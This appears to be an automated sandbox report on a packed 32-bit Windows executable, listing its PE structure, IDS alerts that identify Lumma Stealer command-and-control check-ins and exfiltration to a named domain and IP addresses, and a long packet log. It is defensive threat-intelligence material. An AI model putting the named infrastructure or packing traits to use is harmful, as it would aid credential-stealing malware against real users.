File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Lg.............................`G...........@...........................G...........@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x876000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674CEE8B [Sun Dec 1 23:17:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4F78DCFA6Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4f05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4e000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x4d000	0x21e00	4d38d0c2ad0116ded4c031f8141eef06	False	1.0003675622693726	data	7.978835561221145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4e000	0x2b0	0x200	587fc0ef8f93decef15f4ba62f9d7aff	False	0.802734375	data	6.054251643829201	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x4f000	0x1000	0x200	76384c610a15652eb9ef262cec63ccf7	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x50000	0x294000	0x200	d1c33ea25cc59296c10da0aa2254596b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rynzmkaj	0x2e4000	0x191000	0x190400	f6576581edc2106f5335707a7637f150	False	0.994380953310431	data	7.95397164929625	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iuynvrof	0x475000	0x1000	0x400	5913f5f776145421aa98683baa24c031	False	0.78515625	data	6.183726748355638	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x476000	0x3000	0x2200	4f1b63827f5b475fb1c2274d12241d4e	False	0.06675091911764706	DOS executable (COM)	0.8588375119519032	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x47410c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-04T16:10:20.578260+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.12	57429	1.1.1.1	53	UDP
2024-12-04T16:10:22.059375+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49711	188.114.96.6	443	TCP
2024-12-04T16:10:22.059375+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49711	188.114.96.6	443	TCP
2024-12-04T16:10:24.726112+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.12	49711	188.114.96.6	443	TCP
2024-12-04T16:10:24.726112+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.12	49711	188.114.96.6	443	TCP
2024-12-04T16:10:26.032946+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49712	188.114.96.6	443	TCP
2024-12-04T16:10:26.032946+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49712	188.114.96.6	443	TCP
2024-12-04T16:10:28.238615+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.12	49712	188.114.96.6	443	TCP
2024-12-04T16:10:28.238615+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.12	49712	188.114.96.6	443	TCP
2024-12-04T16:10:29.875969+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49713	188.114.96.6	443	TCP
2024-12-04T16:10:29.875969+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49713	188.114.96.6	443	TCP
2024-12-04T16:10:33.728452+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49714	188.114.96.6	443	TCP
2024-12-04T16:10:33.728452+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49714	188.114.96.6	443	TCP
2024-12-04T16:10:37.633947+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49716	188.114.96.6	443	TCP
2024-12-04T16:10:37.633947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49716	188.114.96.6	443	TCP
2024-12-04T16:10:41.832221+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49720	188.114.96.6	443	TCP
2024-12-04T16:10:41.832221+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49720	188.114.96.6	443	TCP
2024-12-04T16:10:44.705570+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.12	49720	188.114.96.6	443	TCP
2024-12-04T16:10:46.391340+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49722	188.114.96.6	443	TCP
2024-12-04T16:10:46.391340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49722	188.114.96.6	443	TCP
2024-12-04T16:10:54.699581+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.12	49723	188.114.96.6	443	TCP
2024-12-04T16:10:54.699581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.12	49723	188.114.96.6	443	TCP
2024-12-04T16:10:57.565661+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.12	49723	188.114.96.6	443	TCP
2024-12-04T16:10:59.050171+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.12	49724	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 16:10:13.072801113 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:13.074506044 CET	49710	443	192.168.2.12	20.198.118.190
Dec 4, 2024 16:10:13.074561119 CET	49710	443	192.168.2.12	20.198.118.190
Dec 4, 2024 16:10:13.074697018 CET	49710	443	192.168.2.12	20.198.118.190
Dec 4, 2024 16:10:13.194300890 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:13.194317102 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:13.194328070 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:13.619291067 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:13.621625900 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:13.621671915 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:13.621694088 CET	49710	443	192.168.2.12	20.198.118.190
Dec 4, 2024 16:10:13.621737003 CET	49710	443	192.168.2.12	20.198.118.190
Dec 4, 2024 16:10:13.621965885 CET	49710	443	192.168.2.12	20.198.118.190
Dec 4, 2024 16:10:13.741733074 CET	443	49710	20.198.118.190	192.168.2.12
Dec 4, 2024 16:10:15.308247089 CET	49673	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:10:15.308271885 CET	49674	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:10:15.745743036 CET	49672	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:10:20.831820011 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:20.831882000 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:20.831950903 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:20.835895061 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:20.835908890 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:22.059256077 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:22.059375048 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:22.062022924 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:22.062030077 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:22.062261105 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:22.105097055 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:22.126621008 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:22.126621008 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:22.126733065 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:24.726124048 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:24.726227999 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:24.726358891 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:24.728183985 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:24.728203058 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:24.728214025 CET	49711	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:24.728219986 CET	443	49711	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:24.816190958 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:24.816241026 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:24.816312075 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:24.817123890 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:24.817140102 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:24.917598963 CET	49673	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:10:24.917613983 CET	49674	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:10:25.355139971 CET	49672	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:10:26.032865047 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:26.032946110 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:26.034677982 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:26.034687042 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:26.034959078 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:26.036283970 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:26.036324024 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:26.036361933 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:27.921339989 CET	443	49709	173.222.162.60	192.168.2.12
Dec 4, 2024 16:10:27.921483040 CET	49709	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:10:28.238622904 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.238673925 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.238715887 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.238748074 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.238796949 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.238804102 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.238831997 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.238853931 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.238900900 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.247203112 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.255633116 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.255757093 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.255805969 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.263886929 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.264049053 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.264080048 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.308342934 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.359431982 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.401988029 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.402021885 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.430938005 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.431041956 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.431051970 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.431085110 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.451818943 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.451818943 CET	49712	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.451857090 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.451870918 CET	443	49712	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.656083107 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.656133890 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:28.656207085 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.656529903 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:28.656542063 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:29.875840902 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:29.875968933 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:29.877276897 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:29.877285004 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:29.877541065 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:29.878994942 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:29.879147053 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:29.879177094 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:32.410334110 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:32.410444975 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:32.410532951 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:32.414990902 CET	49713	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:32.415014982 CET	443	49713	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:32.511042118 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:32.511087894 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:32.511164904 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:32.511512995 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:32.511526108 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:33.728315115 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:33.728451967 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:33.729872942 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:33.729881048 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:33.730129004 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:33.731487989 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:33.731601954 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:33.731662989 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:33.731753111 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:33.775336027 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:35.383970022 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:35.384016991 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:35.384105921 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:35.387821913 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:35.387835026 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:36.161828041 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:36.161951065 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:36.162010908 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:36.162141085 CET	49714	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:36.162161112 CET	443	49714	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:36.358686924 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:36.358737946 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:36.358831882 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:36.359143019 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:36.359157085 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:36.980608940 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:36.980688095 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:36.983819962 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:36.983830929 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:36.984160900 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:37.025811911 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:37.633816957 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:37.633946896 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:37.635217905 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:37.635225058 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:37.635479927 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:37.636809111 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:37.636969090 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:37.636991978 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:37.637065887 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:37.637073994 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:38.689667940 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:38.735332012 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.048197031 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.048230886 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.048238993 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.048253059 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.048275948 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.048289061 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:39.048307896 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.048335075 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:39.048361063 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:39.227019072 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.227088928 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:39.227096081 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:39.227145910 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:40.253108978 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:40.253206968 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:40.253290892 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:40.253391981 CET	49716	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:40.253405094 CET	443	49716	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:40.464716911 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:40.464749098 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:40.464767933 CET	49715	443	192.168.2.12	20.12.23.50
Dec 4, 2024 16:10:40.464776039 CET	443	49715	20.12.23.50	192.168.2.12
Dec 4, 2024 16:10:40.602895975 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:40.602941990 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:40.603008032 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:40.603522062 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:40.603535891 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:41.832134962 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:41.832221031 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:41.833492994 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:41.833513975 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:41.833758116 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:41.840981007 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:41.841089964 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:41.841097116 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:44.705574036 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:44.705667973 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:44.705729961 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:44.705838919 CET	49720	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:44.705853939 CET	443	49720	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:45.174602985 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:45.174650908 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:45.174743891 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:45.175088882 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:45.175112009 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.391252995 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.391340017 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.395232916 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.395245075 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.395498991 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.403913975 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.404720068 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.404763937 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.404853106 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.404891014 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.404987097 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.405028105 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.405123949 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.405162096 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.405314922 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.405344963 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.405482054 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.405507088 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.405515909 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.405622005 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.405644894 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.447325945 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.447489023 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.447525024 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.447539091 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.495330095 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.495534897 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.495568991 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.495589018 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.543339014 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.543489933 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:46.591334105 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:46.766613960 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:53.437036991 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:53.437154055 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:53.437216997 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:53.437397003 CET	49722	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:53.437422991 CET	443	49722	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:53.483787060 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:53.483807087 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:53.483884096 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:53.484198093 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:53.484210014 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:54.699497938 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:54.699580908 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:54.702573061 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:54.702578068 CET	443	49723	188.114.96.6	192.168.2.12
